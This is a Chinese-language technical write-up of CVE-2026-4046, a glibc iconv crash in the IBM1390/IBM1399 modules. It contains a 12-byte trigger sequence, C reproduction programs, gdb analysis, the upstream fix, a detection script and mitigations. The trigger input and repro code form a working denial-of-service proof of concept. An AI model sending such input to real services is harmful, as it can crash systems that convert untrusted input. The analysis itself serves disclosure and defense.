CVE-2026-4046:IBM1390/IBM1399 组合字符触发 iconv 崩溃
一条 12 字节的字节流,无权限、无交互,就能让运行了二十余年的 glibc iconv 模块在一致性校验处直接终止进程。IBM1390/IBM1399 两个字符集模块的组合字符展开逻辑,是这条崩溃链的入口。
一条 12 字节的字节流,无权限、无交互,就能让运行了二十余年的 glibc iconv 模块在一致性校验处直接终止进程。IBM1390/IBM1399 两个字符集模块的组合字符展开逻辑,是这条崩溃链的入口。
可达崩溃,无权限无交互
CVE-2026-4046(GLIBC-SA-2026-0007,Bug 33980)是 glibc iconv 模块的可达崩溃缺陷:按 IBM1390 或 IBM1399 转换输入时,特定字节序列会使 iconv() 在 iconv/skeleton.c:594 的一致性校验处终止进程。转换链 IBM1390 -> UCS-4 -> UTF-8 中,组合字符的展开方式是缺陷入口。
项 | 值 |
CVE | CVE-2026-4046 |
受影响版本 | glibc 2.3.3 ~ 2.43(含) |
修复版本 | glibc 2.44;发行版 backport(Azure Linux 2.38-20、Debian 2.43-6 等) |
CWE | CWE-617 Reachable Assertion |
CVSS | 7.5 High,AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
公开日期 | 2026-03-12 |
发现者 | Rocket Ma |
定级网络可达、无权限要求、无用户交互,影响面为可用性。任何把不可信字节流交给 `iconv()` 并按 IBM1390/IBM1399 转换的服务,输入 12 字节即可稳定打崩。缓解手段之一是移除不需要的这两个字符集模块。
两个字符集在真实链路中可达:z/OS、IBM i 等主机以 EBCDIC 系保存日语 DBCS 数据,与 x86 Linux 服务间的文件传输、消息中间件、数据库复制管道常按 IBM1390/IBM1399 转码;Java 平台标准映射 `IBM-1390`/`IBM-1399`,经 JNI 桥接 glibc iconv 的库,或 glib `g_iconv`、Perl `Encode`、PHP `iconv` 扩展等运行时,均按名加载 gconv 模块。应用允许外部指定编码名时,12 字节输入即可触达崩溃点。
2.42 模块重载
系统默认模块已含修复,复现前需先编译 2.42 模块并用 GCONV_PATH 重载。先确认现状:
# 查看动态链接器版本
ldd --version | head -1
# 查询当前 glibc 版本号
getconf GNU_LIBC_VERSION
# 确认系统自带 IBM1390/IBM1399 模块
iconv -l | grep -i ibm139
编译 glibc 2.42 并提取 gconv 模块:
# 安装编译 glibc 所需工具链(若报缺包,按报错名称补装)
sudo apt install -y build-essential bison flex gawk gettext libc6-dev texinfo python3
# 下载 glibc 2.42 源码包
curl -O https://ftp.gnu.org/gnu/glibc/glibc-2.42.tar.gz
# 解压源码包
tar xf glibc-2.42.tar.gz# 创建独立构建目录,与源码树分离
mkdir -p /tmp/glibc-2.42-build
# 进入构建目录
cd /tmp/glibc-2.42-build# 配置构建(--prefix 指定安装前缀;--disable-werror 避免告警即错)
/tmp/glibc-2.42/configure --prefix=/tmp/glibc-242 --disable-werror
# 并行编译
make -j$(nproc)
构建产物即 2.42 模块,连同注册条目放入重载目录:
# 创建模块重载目录
mkdir -p /tmp/gconv242
# 复制 2.42 模块到重载目录
cp /tmp/glibc-2.42-build/iconvdata/IBM1390.so /tmp/glibc-2.42-build/iconvdata/IBM1399.so /tmp/gconv242/# 抽取两个模块的 gconv-modules 注册条目
grep -E '^module.*(IBM1390|IBM1399)' /tmp/glibc-2.42/iconvdata/gconv-modules-extra.conf > /tmp/gconv242/gconv-modules
# 查看重载目录的模块注册表
cat /tmp/gconv242/gconv-modules
GCONV_PATH 指向目录下的 gconv-modules 会被优先读取,此后相关进程加载 2.42 模块。用 LD_DEBUG=files 确认装载路径:
# 追踪 gconv 模块加载,确认命中重载目录(去除 LD_DEBUG 的 PID 前缀)
LD_DEBUG=files GCONV_PATH=/tmp/gconv242 iconv -f IBM1390 -t UTF-8 /dev/null 2>&1 | grep 'IBM1390.so' | grep -E 'dynamically loaded|generating link map|calling init' | perl -pe 's/^\s*\d+:\s+//'
动态加载器实际装载的是 /tmp/gconv242/IBM1390.so(2.42 手工构建产物),而非系统目录 gconv/IBM1390.so,重载生效。后续复现与 gdb 全部建立在这条装载链上。
12 字节触发输入
触发输入 12 字节:8 个 0xe7(IBM1390 单字节 X)+ SO(0x0e,切双字节态)+ 0xecb5(组合字符双字节码)+ SI(0x0f,切回单字节态)。0xECB5 展开为 U+304B(HIRAGANA LETTER KA)与 U+309A(COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK)两个码元。
输出缓冲放在哨兵页(PROT_NONE)之前,逐个测试 1~8 字节缓冲,每个尺寸用 fork() 独立进程运行,避免一次崩溃中断整组测试。
repro3.c
#define _GNU_SOURCE
#include <iconv.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
/* 把 enc 编码的固定输入转换为 UTF-8;输出缓冲放在 guard 哨兵页之前 */
static int test_one(const char *enc, size_t outbufsize, char *guard)
{
/* 12 字节触发输入:8 个 0xe7(单字节 X) + SO(0x0e) + 0xECB5(组合码) + SI(0x0f) */
static char input[] = { 0xe7,0xe7,0xe7,0xe7,0xe7,0xe7,0xe7,0xe7, 0x0e,0xec,0xb5,0x0f };
iconv_t cd = iconv_open("UTF-8", enc);
if (cd == (iconv_t)-1) { perror("iconv_open"); return -1; }
char *outbuf = guard - outbufsize;
char *inptr = input; size_t inleft = sizeof(input);
int iters = 0;
/* 循环调用 iconv 直到输入耗尽;E2BIG 且无进展时停止 */
while (inleft > 0 && iters < 200)
{
char *op = outbuf; size_t ol = outbufsize;
size_t ib = inleft;
size_t ret = iconv(cd, &inptr, &inleft, &op, &ol);
iters++;
if (ret == (size_t)-1 && errno == E2BIG)
{
if (op - outbuf == 0 && inleft == ib) break;
continue;
}
if (ret == (size_t)-1) break;
if (ret == 0) break;
}
/* 以 NULL 输入调用 iconv,flush 残留状态 */
char *op = outbuf; size_t ol = outbufsize;
iconv(cd, NULL, NULL, &op, &ol);
iconv_close(cd);
return 0;
}
int main(void)
{
long pg = sysconf(_SC_PAGESIZE);
char *lo = mmap(NULL, pg*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (lo == MAP_FAILED) { perror("mmap"); return 1; }
/* 第二页设为不可访问,作为哨兵页 */
mprotect(lo+pg, pg, PROT_NONE);
char *guard = lo + pg;
for (size_t s = 1; s <= 8; s++)
{
fflush(stdout);
pid_t pid = fork();
if (pid == 0)
{
printf("== IBM1390 outbufsize=%zu ==\n", s); fflush(stdout);
test_one("IBM1390", s, guard);
_exit(0);
}
int st = 0;
waitpid(pid, &st, 0);
if (WIFSIGNALED(st))
printf(" -> signal %d (%s)\n", WTERMSIG(st), strsignal(WTERMSIG(st)));
else
printf(" -> rc %d\n", WEXITSTATUS(st));
}
return 0;
}编译并运行:
# 编译复现程序(-O0 -g 便于后续 gdb 对照)
gcc -O0 -g -o /tmp/repro3 /tmp/repro3.c
repro3 的输入与编码是写死的。为做多组对照(无前缀输入、非组合码、IBM1399),参数化矩阵版本把输入改为命令行十六进制参数,其余结构相同(fork 隔离 + 哨兵页):
repro4.c
#define _GNU_SOURCE
#include <iconv.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
/* usage: repro4 <enc> <inputhex> [outbufsize|all]
* FROM direction (IBM1390/IBM1399 -> UTF-8), fork-isolated, guard page.
* inputhex like "0eecb50f" (shift-out / codepoint / shift-in). */
static unsigned char inbuf[256];
static size_t inlen;
static int test_one(const char *enc, size_t outbufsize, char *guard)
{
iconv_t cd = iconv_open("UTF-8", enc);
if (cd == (iconv_t)-1) { perror("iconv_open"); return -1; }
char *outbuf = guard - outbufsize;
char *inptr = (char *)inbuf; size_t inleft = inlen;
int iters = 0;
while (inleft > 0 && iters < 200)
{
char *op = outbuf; size_t ol = outbufsize;
size_t ib = inleft;
size_t ret = iconv(cd, &inptr, &inleft, &op, &ol);
iters++;
if (ret == (size_t)-1 && errno == E2BIG)
{
if (op - outbuf == 0 && inleft == ib) break;
continue;
}
break;
}
char *op = outbuf; size_t ol = outbufsize;
iconv(cd, NULL, NULL, &op, &ol);
iconv_close(cd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 3) { fprintf(stderr, "usage: %s <enc> <inputhex> [outbufsize|all]\n", argv[0]); return 2; }
const char *enc = argv[1];
const char *hex = argv[2];
size_t hlen = strlen(hex);
if (hlen % 2) { fprintf(stderr, "bad hex\n"); return 2; }
inlen = hlen / 2;
for (size_t i = 0; i < inlen; i++)
{
unsigned v; sscanf(hex + 2*i, "%2x", &v);
inbuf[i] = (unsigned char)v;
}
long pg = sysconf(_SC_PAGESIZE);
char *lo = mmap(NULL, pg*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (lo == MAP_FAILED) { perror("mmap"); return 1; }
mprotect(lo+pg, pg, PROT_NONE);
char *guard = lo + pg;
int all = (argc < 4 || strcmp(argv[3], "all") == 0);
size_t start = all ? 1 : (size_t)atoi(argv[3]);
size_t end = all ? 8 : start;
for (size_t s = start; s <= end; s++)
{
fflush(stdout);
pid_t pid = fork();
if (pid == 0)
{
printf("== %s in=%s outbufsize=%zu ==\n", enc, hex, s); fflush(stdout);
test_one(enc, s, guard);
_exit(0);
}
int st = 0; waitpid(pid, &st, 0);
if (WIFSIGNALED(st))
printf(" -> signal %d (%s)\n", WTERMSIG(st), strsignal(WTERMSIG(st)));
else
printf(" -> rc %d\n", WEXITSTATUS(st));
}
return 0;
}编译后即可用于后文全部对照矩阵:
# 编译参数化矩阵程序
gcc -O0 -g -o /tmp/repro4 /tmp/repro4.c# 挂载 2.42 模块并运行全矩阵
GCONV_PATH=/tmp/gconv242 /tmp/repro3 2>&1
12 字节输入下缓冲 36 字节必崩,12 字节正常,7~8 字节正常。窗口不是固定的 outbufsize,而是组合字符到达时用户缓冲的剩余空间:每个 0xe7 前缀在 UTF-8 里占 1 字节,8 个前缀总共占 8 字节输出空间;组合字符的两个码元展开为 6 字节 UTF-8(e3 81 8b + e3 82 9a)。若组合字符到达时剩余空间不足 6 字节,且此前本缓冲周期内没有可落地的输出,就触发下面的重跑校验崩溃。
对照试验可把窗口与输入形态解耦:去掉 8 个前缀,只传 SO 0xECB5 SI(4 字节),组合字符独占输出缓冲,6 字节恰好容纳 6 字节展开,不再崩溃;3~5 字节仍崩。把输入 0eecb50f 交给参数化矩阵程序:
# 无前缀输入(4 字节)全矩阵
GCONV_PATH=/tmp/gconv242 /tmp/repro4 IBM1390 0eecb50f all
两组矩阵并排后,"6 字节为何崩溃"不再矛盾:outbufsize=6 时带 8 个前缀的输入在组合字符到达前已由剩余前缀占用 2 字节输出空间,留给组合字符的只有 4 字节,容不下 6 字节展开;无前缀输入下 6 字节恰好完整容纳组合字符,走正常路径。崩溃信息中的 Assertion 字样是 glibc 源码自带检查宏的输出,出现在 skeleton.c:594。
崩溃点:skeleton.c:594
gdb 需要单进程、可控尺寸的最小程序,用顺序版(不 fork)逐次打印调用状态。它在哨兵页前放置输出缓冲,对 IBM1390 以 1~8 字节缓冲各跑一次:
repro2.c
#define _GNU_SOURCE
#include <iconv.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
static void test_one(const char *enc, size_t outbufsize, char *guard)
{
static char input[] = { 0xe7,0xe7,0xe7,0xe7,0xe7,0xe7,0xe7,0xe7, 0x0e,0xec,0xb5,0x0f };
iconv_t cd = iconv_open("UTF-8", enc);
if (cd == (iconv_t)-1) { perror("iconv_open"); return; }
printf("== %s outbufsize=%zu ==\n", enc, outbufsize); fflush(stdout);
char *outbuf_page = guard; /* mapped page; guard is the NEXT page (PROT_NONE) */
char *outbuf = outbuf_page - outbufsize;
char *inptr = input; size_t inleft = sizeof(input);
while (inleft > 0)
{
char *op = outbuf; size_t ol = outbufsize;
size_t ib = inleft;
size_t ret = iconv(cd, &inptr, &inleft, &op, &ol);
size_t produced = op - outbuf;
printf(" iconv ret=%zd errno=%d inleft=%zu prod=%zu\n", ret, errno, inleft, produced);
if (ret == (size_t)-1 && errno == E2BIG)
{
if (produced == 0 && inleft == ib) { printf(" [no progress] break\n"); break; }
continue;
}
break;
}
char *op = outbuf; size_t ol = outbufsize;
size_t ret = iconv(cd, NULL, NULL, &op, &ol);
printf(" flush ret=%zd errno=%d prod=%zu\n", ret, errno, op - outbuf);
iconv_close(cd);
}
int main(void)
{
long pg = sysconf(_SC_PAGESIZE);
char *lo = mmap(NULL, pg*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (lo == MAP_FAILED) { perror("mmap"); return 1; }
mprotect(lo+pg, pg, PROT_NONE); /* second page is the guard */
char *guard = lo + pg; /* first unmapped address */
for (size_t s = 1; s <= 8; s++)
test_one("IBM1390", s, guard);
return 0;
}# 编译
gcc -O0 -g -o /tmp/repro2 /tmp/repro2.c
gdb 抓取崩溃栈(同样挂 2.42 模块):
# 用 gdb 运行最小程序,抓取栈与校验失败帧局部变量
GCONV_PATH=/tmp/gconv242 gdb -batch -ex run -ex 'bt 6' -ex 'frame 5' -ex 'info locals' --args /tmp/repro2
outerr(下一步骤实际消费到的中间缓冲位置)与重跑后的 outbuf 不相等,校验失败。curcsp 指向 data->__statep->__count 状态槽,修复方案正是围绕这个字段展开。
curcsp 指向的 __count 不是诊断视图里的普通局部变量,而是重跑路径上的状态恢复载体。skeleton 回退重跑时不重置它:输入指针回到本轮起点,转换态原样保留,FROM_LOOP 每次进入都从 curcs(*curcsp 的别名)读回当前状态。字段内部按位划分——bit 2..0 记未消费的 lookahead 输入字节数(模块返回 INCOMPLETE_INPUT 时使用),bit 31..3 是模块自定义 shift state;IBM13XX 模块只有两种态,单字节 sb = 0、双字节 db = 64(bit 6),组合字符的 SO 前缀正是在双字节态下被消费。重跑对称性成立的前提由此变得直白:普通字符集首跑与重跑之间 __count 未被改动,同态重放逐字节同路径,指针自然对齐;缺陷模块打破的正是这条不变性。
也正因为 __count 既要跨调用存活(多次 iconv() 间保留转换语义),又要在重跑时原样恢复(本轮内充当状态基准),修复把 pending 码元挂进同一字段的高位(bit 7+)才有天然的落点——它复用的正是这条"重跑与下次调用都会重新读它"的通道:8 字节刚性输出拆成 4 字节落地、4 字节挂起,重跑时输入指针已前进、不再重读组合码,outerr 边界对齐。位域如何按位落库、三层语义互不干扰,见"修复:__count 高位挂起"一节。
重跑对称性
转换链分两步:每步产出中间字节后,skeleton 主循环调用下一步骤消费;下一步骤因用户缓冲不足返回 E2BIG 且消费位置落后于本步产出时,skeleton 回退重跑——输入指针恢复到本轮停止位置、状态恢复,以 outerr 为上限重放本步。
iconv/skeleton.c(2.42)
result = DL_CALL_FCT (fct, (next_step, next_data, &outerr,
outbuf, NULL, irreversible, 0,
consume_incomplete));
if (result != __GCONV_EMPTY_INPUT)
{
if (__glibc_unlikely (outerr != outbuf))
{
#ifdef RESET_INPUT_BUFFER
/* RESET_INPUT_BUFFER can only work when there were
no new irreversible characters skipped during
this round. */
if (loop_irreversible
== lirreversible + (irreversible ? *irreversible : 0))
{
RESET_INPUT_BUFFER;
goto done_reset;
}
#endif
/* We have a problem in one of the functions below.
Undo the conversion upto the error point. */
size_t nstatus __attribute__ ((unused));
/* Reload the pointers. */
*inptrp = inptr;
outbuf = outstart;
/* Restore the state. */
#ifdef SAVE_RESET_STATE
SAVE_RESET_STATE (0);
#endif
if (FROM_DIRECTION)
/* Run the conversion loop. */
nstatus = FROM_LOOP (step, data, inptrp, inend,
&outbuf, outerr,
lirreversiblep
EXTRA_LOOP_ARGS);
else
/* Run the conversion loop. */
nstatus = TO_LOOP (step, data, inptrp, inend,
&outbuf, outerr,
lirreversiblep
EXTRA_LOOP_ARGS);
/* We must run out of output buffer space in this
rerun. */
assert (outbuf == outerr);
assert (nstatus == __GCONV_FULL_OUTPUT);协议要求重跑恰好停在 outerr 且返回 FULL_OUTPUT,即本步重放必须与下一步骤已消费的位置精确对称。对普通字符集这成立——重跑与首跑走同一循环,输出边界一致,指针自然对齐。缺陷字符集的 FROM_LOOP 打破了对称性。
根因:原子输出上限错位
2.42 的 iconvdata/ibm1364.c(IBM1364/IBM1390/IBM1399 共用)中,SUB_COMBINED_UCS_FROM_IBM13XX 宏处理组合字符时做原子空间检查:空间不足 8 字节就整体 FULL_OUTPUT,一个码元都不输出。
iconvdata/ibm1364.c(2.42)
/* Subroutine to write out converted UCS4 from IBM-13XX. */
#ifdef HAS_COMBINED
# define SUB_COMBINED_UCS_FROM_IBM13XX \
{ \
if (res != UCS_LIMIT || ch < __TO_UCS4_COMBINED_MIN \
|| ch > __TO_UCS4_COMBINED_MAX) \
{ \
put32 (outptr, res); \
outptr += 4; \
} \
else \
{ \
/* This is a combined character. Make sure we have room. */ \
if (__glibc_unlikely (outptr + 8 > outend)) \
{ \
result = __GCONV_FULL_OUTPUT; \
break; \
} \
\
const struct divide *cmbp \
= &DB_TO_UCS4_COMB[ch - __TO_UCS4_COMBINED_MIN]; \
assert (cmbp->res1 != 0 && cmbp->res2 != 0); \
\
put32 (outptr, cmbp->res1); \
outptr += 4; \
put32 (outptr, cmbp->res2); \
outptr += 4; \
} \
}结合上述触发矩阵,崩溃序列分四步(以 outbufsize=3 为例):
- 用户侧多次调用
iconv(),curcs状态经__count跨调用保留。某次调用输入还剩SO 0xECB5 SI(4 字节),用户缓冲 3 字节。 - 本步 FROM_LOOP 消费 SO 切双字节态,把
0xECB5展开为U+304B U+309A两个 UCS-4(8 字节)写入内部缓冲。下一步骤(UCS-4 -> UTF-8)输出e3 81 8b(U+304B)恰好填满 3 字节用户缓冲,处理U+309A时 E2BIG,outerr停在outstart + 4——中间缓冲还剩U+309A的 4 字节没被消费。 - skeleton 进入重跑,输出上限
outerr = outstart + 4。协议要求本步此刻只输出 U+304B、把 U+309A 留到下次。 - 2.42 组合分支做不到这种粒度:
outptr(0) + 8 > outend(4)成立,直接 0 字节 FULL_OUTPUT。重跑结束outbuf = outstart,而outerr = outstart + 4,校验失败 →abort()。
矩阵与机制的对应关系(12 字节输入):
- 缓冲 3~6 字节:组合字符到达前,剩余的
0xe7前缀已占用部分输出空间(outbufsize=6时剩 2 个前缀占 2 字节,组合字符只剩 4 字节;outbufsize=3时前缀占满,组合字符 0 空间)。两个码元的 6 字节展开落不下,下一步骤 E2BIG 且消费位置卡在组合字符中间,outerr落后于本步产出 → 崩。 - 缓冲 7~8 字节:
outbufsize=7时剩余 1 个前缀占 1 字节,组合字符恰好用满剩余 6 字节,下一步骤全部消费 → 不崩。 - 缓冲 1~2 字节:前缀单字节 X 的 UTF-8 就填满缓冲,循环在"无进展"处退出,走不到组合字符 → 不崩。
调用级观测把崩溃点之前的状态钉死。给 repro2.c 的每次 iconv() 调用前后补两行打印(剩余输入、输入偏移、剩余输出空间、产出字节),编译为 repro5,跑 outbufsize=3:
# 仅跑 outbufsize=3
GCONV_PATH=/tmp/gconv242 /tmp/repro5 3 2>&1
前三次调用各消费 3/3/2 个 0xe7(inoff 0→3→6→8),第三次因组合字符前的空间只剩 1 字节(ol_left=1),iconv() 返回 E2BIG 停在组合字符之前。第四次调用输入恰好是 SO 0xECB5 SI 四个字节、输出缓冲 3 字节——组合字符是本周期首个待输出,原子展开 8 字节中间码失败,触发重跑校验崩溃。inoff=8 与 prod=0 的组合就是"零产出撞上组合字符"的直接证据。
无前缀输入(4 字节)时同一定位成立:outbufsize=5 首次调用即为 SO 0xECB5 SI,组合字符独占 5 字节、放不下 6 字节展开 → 崩;outbufsize=6 恰好放满 → 正常。窗口随前缀长度平移,进一步证实触发条件是组合字符到达时的剩余空间,而非某个固定 outbufsize。
TO 方向(UTF-8 -> IBM1390,输入 U+304B U+309A)在同样矩阵下不崩溃,缺陷集中在 FROM 方向。to_repro 是 repro4 的 TO 方向变体(同一哨兵页 + fork 结构,iconv_open("IBM1390", "UTF-8"),输入 e3 81 8b e3 82 9a):
# TO 方向全矩阵(2.42 模块)
GCONV_PATH=/tmp/gconv242 /tmp/to_repro
TO 方向组合字符只需输出 3 字节(SO 1 字节 + IBM 双字节码 0xECB5 2 字节),输出粒度与下一步骤(INTERNAL -> IBM1390)的消费粒度一致,重跑对称性不被打破。
修复:__count 高位挂起
修复 commit d6f08d1cf027f4eb2ba289a6cc66853722d4badc 沿用 iso-2022-jp-3.c 的思路:把"8 字节一次输出"拆成"4 字节输出 + 4 字节挂起",挂起码元存进 __count 状态槽高位(bit7+)。
组合分支:
iconvdata/ibm1364.c(2.44)
const struct divide *cmbp \
= &DB_TO_UCS4_COMB[ch - __TO_UCS4_COMBINED_MIN]; \
assert (cmbp->res1 != 0 && cmbp->res2 != 0); \
\
put32 (outptr, cmbp->res1); \
outptr += 4; \
\
/* See whether we have room for the second character. */ \
if (outend - outptr >= 4) \
{ \
put32 (outptr, cmbp->res2); \
outptr += 4; \
} \
else \
{ \
/* Otherwise store only the first character now, and \
put the second one into the queue. */ \
curcs |= cmbp->res2 << 7; \
inptr += 2; \
/* Tell the caller why we terminate the loop. */ \
result = __GCONV_FULL_OUTPUT; \
break; \
} \先无条件输出 U+304B(4 字节),空间不足时把 U+309A 按位或进 curcs 高位并推进输入指针再 FULL_OUTPUT。重跑时输入已前进、不再重读 0xECB5;outerr 上限与已输出的 4 字节严格对齐,重跑对称性恢复。
curcs 就是 __count,位域分配由 skeleton 约定(iconv/skeleton.c 注释):bit 2..0 保存未消费的 lookahead 输入字节数(本模块从不返回 INCOMPLETE_INPUT,恒为 0),bit 31..3 是模块自定义 shift state。IBM13XX 模块里 INIT_PARAMS 用 *curcsp & ~7 取整块高位,单字节态 sb = 0、双字节态 db = 64(bit 6)。修复把 pending 码元放在 bit 7 起(res2 << 7,res2 上限 0xFFFF 占 bit 7..22),与 db 的 bit 6 不重叠,curcs >> 7 能同时读取"双字节态 + pending"两个事实;flush 路径清 pending 时 __count &= 7 又正好保留 lookahead 位。三层语义(lookahead / shift state / pending)在 32 位字段里互不干扰,这是补丁能按位落库而不破坏状态机的前提。
pending 码元的消费分两级。FROM_LOOP 每次进入先看 pending,见 BODY 开头:
iconvdata/ibm1364.c(2.44)
uint32_t ch; \
\
ch = curcs >> 7; \
if (__glibc_unlikely (ch != 0)) \
{ \
put32 (outptr, ch); \
outptr += 4; \
/* Remove the pending character, but preserve state bits. */ \
curcs &= (1 << 7) - 1; \
continue; \
} \
\
/* Otherwise read the next input byte. */ \
ch = *inptr; \iconv() 以 NULL 输入调用时的 flush 路径(EMIT_SHIFT_TO_INIT)同样处理 pending:
iconvdata/ibm1364.c(2.44)
if (FROM_DIRECTION) \
{ \
uint32_t ch = data->__statep->__count >> 7; \
if (__glibc_unlikely (ch != 0)) \
{ \
if (__glibc_unlikely (outend - outbuf < 4)) \
status = __GCONV_FULL_OUTPUT; \
else \
{ \
put32 (outbuf, ch); \
outbuf += 4; \
/* Clear character and db bit. */ \
data->__statep->__count &= 7; \
} \
} \
else \
data->__statep->__count &= 7; \
} \回归测试 iconvdata/tst-bug33980.c 对 IBM1390、IBM1399 各做 shift × truncate × outbufsize 全矩阵:输入 8 个 0xe7 + SO 0xECB5 SI,输出缓冲用 support_next_to_fault 哨兵页,循环调用 iconv() 直到输入耗尽,校验输出必须等于 8 个 'X' + 两个码元的 UTF-8。
验证:全矩阵与指令特征
IBM1399 复用同一 ibm1364.c 与组合表,同型输入在同窗口崩溃(此处 12 字节输入等价于 repro3 的输入):
# 2.42 模块下 IBM1399 全矩阵
GCONV_PATH=/tmp/gconv242 /tmp/repro4 IBM1399 e7e7e7e7e7e7e7e70eecb50f all 2>&1
0xECB5 在 IBM1399 中映射与 IBM1390 相同(都是平假名 U+304B + 半浊点 U+309A),窗口一致,可稳定复现。
同一 repro3 在系统 glibc 2.43-6 下运行,1~8 字节缓冲全部正常:
# 系统模块(含 backport)运行全矩阵
/tmp/repro3 2>&1
转换内容逐字节验证:
# 将 12 字节输入转 UTF-8,十六进制查看结果
printf '\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\x0e\xec\xb5\x0f' | iconv -f IBM1390 -t UTF-8 | xxd
58 是 ASCII 'X',e3 81 8b 是 U+304B 的 UTF-8,e3 82 9a 是 U+309A 的 UTF-8。
反汇编对比 2.43 与 2.42 模块,2.43 出现 pending 读取特征 shl $0x7(取 curcs >> 7),2.42 只有组合码拼接用的 shl $0x8:
# 反汇编 2.43 模块,筛选 shl 立即数 0x7/0x8 指令
objdump -d /usr/lib/x86_64-linux-gnu/gconv/IBM1390.so | grep -E 'shl.*\$0x[78]'
# 反汇编 2.42 模块,筛选 shl 立即数 0x7/0x8 指令
objdump -d /tmp/gconv242/IBM1390.so | grep -E 'shl.*\$0x[78]'
shl $0x7 可作为快速判定"是否含修复"的指令级特征。
横向审计:原子 8 字节检查的分布
缺陷来自 HAS_COMBINED 条件编译下的原子输出检查,因此影响面等于"定义并启用了组合表"的编码集合。对 2.42 源码树做整树审计:
# 组合表开关的定义位置
grep -rn '#define HAS_COMBINED' iconvdata/*.h iconvdata/*.c
# 原子输出检查的唯一出现点
grep -rn 'outptr + 8 > outend' iconvdata/
ibm1364.c 是 IBM13XX 系列公共实现:IBM1390、IBM1399、IBM1371、IBM1388 四个编码都包含它,但组合开关只被前两者打开。ibm1371.c、ibm1388.c 没有 HAS_COMBINED 定义,MAX_NEEDED_TO 回落到 4,原子检查分支不参与编译,同型输入走普通路径,不受影响。缺陷面与 CVE 描述一致:仅 IBM1390 / IBM1399。
组合表本身覆盖 0xECB5 到 0xECCD 共 25 个双字节码:0xECB50xECC2 是假名 + 半浊点 U+309A(14 个),0xECC30xECCD 是拉丁/扩展字符 + 重音 U+0300/U+0301 及声调记号(11 个)。所有条目都进同一原子分支,任选其一构造 SO <code> SI 均可复现崩溃;后续分析以 0xECB5 为基准。
一键检测
基于指令特征的检测脚本(shl $0x7 是否存在),不需要编译或触碰系统目录,适合批量巡检:
detect_ibm13xx.sh
#!/bin/sh
# 检测本机 IBM1390/IBM1399 gconv 模块是否含组合字符缺陷修复
# 原理:修复版读取 pending 码元生成 shl $0x7(curcs >> 7),
# 2.42 及更早只有组合码拼接用的 shl $0x8。
# 用法: sh detect_ibm13xx.sh [IBM1390.so 路径]
mod="${1:-/usr/lib/x86_64-linux-gnu/gconv/IBM1390.so}"
if [ ! -f "$mod" ]; then
echo "[-] 找不到 $mod"
exit 2
fi
echo "[*] 模块: $mod"
objdump -d "$mod" > /tmp/ibm1390.dump 2>/dev/null || { echo "[-] objdump 失败"; exit 2; }
if grep -qE 'shl.*\$0x7' /tmp/ibm1390.dump; then
echo "[+] 含 shl \$0x7 特征 -> 已含组合字符修复 (>= 2.44 / backport)"
else
echo "[-] 无 shl \$0x7 特征 -> 命中 CVE-2026-4046,建议升级或移除模块"
fi
ldd --version 2>/dev/null | head -1
exit 0# 对系统模块(2.43-6,含 backport)
sh detect_ibm13xx.sh
# 对 2.42 手工构建模块
sh detect_ibm13xx.sh /tmp/gconv242/IBM1390.so
触发与缓解
触发条件:目标进程用 iconv() 转换 IBM1390/IBM1399 输入;输入含 0xECB50xECCD 任一组合字符双字节码;组合字符到达时用户输出缓冲剩余空间不足其 6 字节 UTF-8 展开,且本缓冲周期内尚无已落地输出(12 字节输入下对应 36 字节缓冲,无前缀输入下对应 3~5 字节)。iconv() 按字节流处理,不要求输入按特定边界对齐,攻击者在任意位置插入 0x0e 0xec 0xb5 0x0f 序列并让接收缓冲填满即可稳定崩溃。
缓解顺序:
- 升级 glibc 至 2.44+,或安装发行版 backport(Debian 2.43-6+、Azure Linux glibc 2.38-20 等);
- 不需要 IBM1390/IBM1399 的系统移除这两个 gconv 模块(从
gconv-modules摘除对应行或删除IBM1390.so/IBM1399.so); - 应用层对不可信输入不要直接按 IBM1390/IBM1399 转换,先做编码白名单。
参考
- CVE 记录:https://nvd.nist.gov/vuln/detail/CVE-2026-4046
- Bugzilla 33980:https://sourceware.org/bugzilla/show_bug.cgi?id=33980
- 修复 commit:https://sourceware.org/git/?p=glibc.git;a=commit;h=d6f08d1cf027f4eb2ba289a6cc66853722d4badc
- IBM Security Bulletin:https://www.ibm.com/support/pages/node/7276874
- Ubuntu USN-8611-1(覆盖 Ubuntu 22.04/24.04/26.04 LTS):https://ubuntu.com/security/notices/USN-8611-1
- Red Hat RHSA-2026:20594(RHEL 10 及 EUS 10.2):https://access.redhat.com/errata/RHSA-2026:20594